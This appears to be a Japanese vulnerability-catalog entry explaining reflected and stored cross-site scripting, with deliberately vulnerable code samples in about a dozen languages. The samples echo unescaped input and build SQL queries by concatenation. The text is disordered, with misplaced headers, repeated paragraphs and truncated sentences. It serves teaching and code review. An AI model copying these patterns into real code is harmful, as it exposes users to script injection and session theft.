eid を HTTP リクエストから読み取り、ユーザーに表示します。
...
eid = request->get_form_field( 'eid' ).
...
response->append_cdata( 'Employee ID: ').
response->append_cdata( eid ).
...
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
...
DATA: BEGIN OF itab_employees,
eid TYPE employees-itm,
name TYPE employees-name,
END OF itab_employees,
itab LIKE TABLE OF itab_employees.
...
itab_employees-eid = '...'.
APPEND itab_employees TO itab.
SELECT *
FROM employees
INTO CORRESPONDING FIELDS OF TABLE itab_employees
FOR ALL ENTRIES IN itab
WHERE eid = itab-eid.
ENDSELECT.
...
response->append_cdata( 'Employee Name: ').
response->append_cdata( itab_employees-name ).
...
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。eid を HTTP リクエストから読み取り、ユーザーに表示します。
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var eid:String = String(params["eid"]);
...
var display:TextField = new TextField();
display.htmlText = "Employee ID: " + eid;
...
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
stmt.sqlConnection = conn;
stmt.text = "select * from emp where id="+eid;
stmt.execute();
var rs:SQLResult = stmt.getResult();
if (null != rs) {
var name:String = String(rs.data[0]);
var display:TextField = new TextField();
display.htmlText = "Employee Name: " + name;
}
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。username を読み取って、ユーザーに表示します。
<script>
document.write('{!$CurrentPage.parameters.username}')
</script>
username にメタ文字またはソース コードが含まれている場合、コードは Web ブラウザで実行されます。
...
variable = Database.query('SELECT Name FROM Contact WHERE id = ID');
...
<div onclick="this.innerHTML='Hello {!variable}'">Click me!</div>
Example 1 に示すように、name の値が単なる英数字のように適切に定義されている場合はこのコードが正しく動作しますが、悪意のあるデータのチェックは行われません。データベースの内容はユーザー指定のデータから取得されることがあるため、データベースから読み取る場合でも値を適切に検証する必要があります。このように、攻撃者はリフレクト XSS でのように攻撃対象者とやり取りしなくても、ユーザーの Web ブラウザ内で悪意のあるコマンドを実行することができます。このタイプの攻撃はストアド XSS (または持続型 XSS) と呼ばれていて、データが脆弱な関数に間接的に提供されるため、検出するのが非常に困難な場合があります。また、複数のユーザーに影響する可能性があるため、影響が大きくなることもあります。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS は、攻撃者が脆弱な Web アプリケーションに危険なコンテンツを配信し、それをユーザーに反映して、ユーザーのブラウザで実行するように設定できる場合に発生します。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は攻撃対象者をこの URL に誘い込みます。コンテンツがユーザーに戻されてサイトに反映されると、コンテンツが実行され、攻撃対象者のコンピュータから個人の機密情報を転送する、不正な操作を実行する、などの複数の操作が実行可能になります。Example 2 に示すように、データベースなどのデータ ストアからアプリケーションに危険なデータが提供され、動的コンテンツに追加されることがあります。攻撃者の立場からすると、悪意のあるコンテンツを保存するのに最適な場所は、すべてのユーザー (特に、高い権限を持つ、機密情報の処理や重要な操作を実行する可能性の高いユーザー) がアクセスできる領域です。
<script runat="server">
...
EmployeeID.Text = Login.Text;
...
</script>
Login および EmployeeID は、次のように定義されるフォーム コントロールです。例 2: 次の ASP.NET コードセグメントは、
<form runat="server">
<asp:TextBox runat="server" id="Login"/>
...
<asp:Label runat="server" id="EmployeeID"/>
</form>
Example 1 をプログラミングで実装する方法を示しています。
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
Login に標準の英数字テキストだけが含まれている場合に正しく動作します。Login の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
<script runat="server">
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;
</script>
EmployeeName は、次のように定義されるフォーム コントロールです。例 4: 次の ASP.NET コードセグメントは、
<form runat="server">
...
<asp:Label id="EmployeeName" runat="server">
...
</form>
Example 3 と機能的には同じですが、すべてのフォーム要素をプログラミングによって実装しています。
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;
Example 1 と Example 2 に示したように、name の値の動作が適切であればこれらのコード例は正しく機能しますが、値が適切ではない場合は悪用を阻止できません。この場合も、これらのコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースの内容はアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 や Example 2 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 3 および Example 4 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。EID を HTML フォームから読み取り、ユーザーに表示します。
...
EXEC CICS
WEB READ
FORMFIELD(ID)
VALUE(EID)
...
END-EXEC.
EXEC CICS
WEB SEND
FROM(EID)
...
END-EXEC.
...
EID に標準の英数字テキストだけが含まれている場合に正しく動作します。EID の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
...
EXEC SQL
SELECT NAME
INTO :ENAME
FROM EMPLOYEE
WHERE ID = :EID
END-EXEC.
EXEC CICS
WEB SEND
FROM(ENAME)
...
END-EXEC.
...
Example 1 に示すように、ENAME の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。ENAME の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、ENAME の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。ストアド XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTML フォームから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。攻撃者が以下を行う場合に、保存された XSS の悪用が発生します eid を Web フォームから読み取りユーザーに表示します。
<cfoutput>
Employee ID: #Form.eid#
</cfoutput>
Form.eid に標準の英数字テキストだけが含まれている場合に正しく動作します。Form.eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
<cfquery name="matchingEmployees" datasource="cfsnippets">
SELECT name
FROM Employees
WHERE eid = '#Form.eid#'
</cfquery>
<cfoutput>
Employee Name: #name#
</cfoutput>
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。user を HTTP リクエストから読み取り、ユーザーに表示します。
func someHandler(w http.ResponseWriter, r *http.Request){
r.parseForm()
user := r.FormValue("user")
...
fmt.Fprintln(w, "Username is: ", user)
}
user に標準の英数字テキストだけが含まれている場合に正しく動作します。user の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
func someHandler(w http.ResponseWriter, r *http.Request){
...
row := db.QueryRow("SELECT name FROM users WHERE id =" + userid)
err := row.Scan(&name)
...
fmt.Fprintln(w, "Username is: ", name)
}
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザーで攻撃者が悪意あるコマンドを実行することがあります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターに「ゲストブック」を提供している Web サイトで、次のような形式で開始されます。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険なコンテンツを入力させられてしまい、それがユーザーに送り返されて Web ブラウザーにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意あるコンテンツを実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりすることがあります。eid を HTTP リクエストから読み取ってユーザーに表示します。
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}
%>
Employee Name: <%= name %>
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。
...
WebView webview = (WebView) findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(true);
String url = this.getIntent().getExtras().getString("url");
webview.loadUrl(url);
...
url の値が javascript: から始まる場合、それに続く JavaScript コードが WebView 内の Web ページのコンテキストから実行されます。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。Example 3 に示したように、アプリケーション外のソースで危険なデータがデータベースやその他のデータストアに格納され、その危険なデータが信頼されているデータとしてアプリケーションに読み込まれ、動的コンテンツに含まれる場合。eid を HTTP 要求から読み取ってユーザーに表示します。
var http = require('http');
var url = require('url');
...
function listener(request, response){
var eid = url.parse(request.url, true)['query']['eid'];
if (eid !== undefined){
response.write('<p>Welcome, ' + eid + '!</p>');
}
...
}
...
http.createServer(listener).listen(8080);
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
var http = require('http');
...
function listener(request, response){
connection.query('SELECT * FROM emp WHERE eid="' + eid + '"', function(err, rows){
if (!err && rows.length > 0){
response.write('<p>Welcome, ' + rows[0].name + '!</p>');
}
...
});
...
}
...
http.createServer(listener).listen(8080);
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。eid を HTTP サーブレット リクエストから読み取ってから、サーブレットのレスポンスでユーザーに値を表示します。
val eid: String = request.getParameter("eid")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee ID: $eid")
...
out.close()
...
eid に標準の英数字テキストだけが含まれている場合に正しく動作します。eid の値にメタ文字またはソース コードが含まれていると、Web ブラウザーが HTTP レスポンスを表示する際にコードが実行されます。
val stmt: Statement = conn.createStatement()
val rs: ResultSet = stmt.executeQuery("select * from emp where id=$eid")
rs.next()
val name: String = rs.getString("name")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee Name: $name")
...
out.close()
...
Example 1 に示すように、name の値の動作が適切であればこのコードは正しく動作しますが、そうでない場合は悪用を阻止できません。この場合も、このコードはあまり危険がないように見えます。name の値はデータベースから読み込まれており、データベースのコンテンツはアプリケーションによって管理されているように見えるからです。ただし、name の値がユーザーの入力したデータに由来する場合は、データベースが悪意あるコンテンツの侵入路になることがあります。データベースに格納されている全データについて入力を適切に検証しない限り、ユーザーの Web ブラウザで攻撃者が悪意あるコマンドを実行する可能性があります。持続型 (ストアド) XSS と呼ばれるこのタイプの悪用は特に危険です。データ ストアを原因とする不正のために脅威を認識しにくく、攻撃にさらされるユーザーが増える可能性が高まるためです。XSS は、ビジターにゲストブックを提供している Web サイトで、次のような形で始まります。攻撃者がゲストブックのエントリに JavaScript を含めると、それ以降にゲストブックページを訪れたすべてのビジターが悪意あるコードを実行します。
...
val webview = findViewById<View>(R.id.webview) as WebView
webview.settings.javaScriptEnabled = true
val url = this.intent.extras!!.getString("url")
webview.loadUrl(url)
...
url の値が javascript: から始まる場合、それに続く JavaScript コードが WebView 内の Web ページのコンテキストから実行されます。Example 1 に示すように、データが HTTP リクエストから直接読み込まれ、HTTP レスポンスに反映される場合。リフレクト XSS の悪用が発生するのは、攻撃者によりユーザーが脆弱性のある Web アプリケーションに危険な内容を入力させられてしまい、それがユーザーに送り返されて Web ブラウザにより実行される場合です。悪意ある内容を送りつけるために最もよく利用される仕組みは、公開投稿された URL や、電子メールで直接送信される URL のパラメーターに、悪意ある内容を含めるやり方です。この方法で作成された URL は多くのフィッシング方式の中核となっており、この方法で攻撃者は脆弱性のあるサイトの URL に誘い込みます。攻撃者の悪意あるコンテンツがユーザーに戻されてサイトで反映されると、そのコンテンツが実行され、セッション情報を含む可能性のある cookie などの個人情報をユーザーのマシンから攻撃者へ送信するといった悪辣な操作が実行されます。Example 2 に示すように、アプリケーションがデータベースなど信頼されているデータストアに危険なデータを格納する場合。それ以降、危険なデータがアプリケーションの読み込みに伴って戻され、動的コンテンツに含まれます。持続型 XSS の悪用が発生するのは、攻撃者が危険な内容をデータストアに挿入し、それが後で動的コンテンツに読み込まれる場合です。攻撃者の観点から見た場合、悪意ある内容の挿入に最適なのは、多数のユーザーまたは特定の対象ユーザーに対して表示される領域です。対象ユーザーは通常、アプリケーションに対する高い権限を持っているか、攻撃者にとって価値の高い機密データを操作します。こうしたユーザーが悪意ある内容を実行させられた場合、攻撃者はユーザーになりすまして権限の必要な操作を実行したり、ユーザーが所有する機密データにアクセスしたりできる可能性があります。Example 3 に示したように、アプリケーション外のソースで危険なデータがデータベースやその他のデータストアに格納され、その危険なデータが信頼されているデータとしてアプリケーションに読み込まれ、動的コンテンツに含まれる場合。myapp://input_to_the_application)。URL の中の信頼できないデータは、その後 UIWebView コンポーネントで HTML 出力を処理するために使用されます。
- (BOOL)application:(UIApplication *)application handleOpenURL:(NSURL *)url {
UIWebView *webView;
NSString *partAfterSlashSlash = [[url host] stringByReplacingPercentEscapesUsingEncoding:NSUTF8StringEncoding];
webView = [[UIWebView alloc] initWithFrame:CGRectMake(0.0,0.0,360.0, 480.0)];
[webView loadHTMLString:partAfterSlashSlash baseURL:nil]
...
